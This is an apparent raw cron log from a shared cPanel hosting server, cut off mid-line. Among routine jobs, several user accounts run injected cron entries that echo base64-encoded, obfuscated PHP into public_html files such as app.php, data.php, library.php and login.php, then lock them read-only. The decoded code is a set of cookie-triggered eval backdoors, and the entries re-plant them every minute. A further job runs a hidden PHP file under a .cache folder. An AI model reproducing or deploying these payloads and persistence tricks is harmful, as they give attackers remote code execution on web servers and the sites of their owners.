Apr 19 07:13:01 medusa CROND[14181]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:13:01 medusa CROND[14182]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:13:01 medusa CROND[14183]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:13:01 medusa CROND[14184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:13:01 medusa CROND[14190]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:13:01 medusa CROND[14189]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 07:13:01 medusa CROND[14192]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:13:01 medusa CROND[14193]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:13:01 medusa CROND[14194]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:13:01 medusa CROND[14196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:13:01 medusa CROND[14200]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:13:01 medusa CROND[14201]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Apr 19 07:13:01 medusa CROND[14214]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 07:14:01 medusa CROND[6128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:14:01 medusa CROND[6129]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:14:01 medusa CROND[6130]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:14:01 medusa CROND[6131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:14:01 medusa CROND[6132]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:14:01 medusa CROND[6136]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:14:01 medusa CROND[6138]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 07:14:01 medusa CROND[6139]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:14:01 medusa CROND[6140]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:14:01 medusa CROND[6141]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:14:01 medusa CROND[6142]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:14:01 medusa CROND[6143]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:14:01 medusa CROND[6154]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:15:02 medusa CROND[29776]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:15:02 medusa CROND[29777]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 07:15:02 medusa CROND[29778]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 07:15:02 medusa CROND[29779]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 07:15:02 medusa CROND[29780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:15:02 medusa CROND[29786]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:15:02 medusa CROND[29787]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmF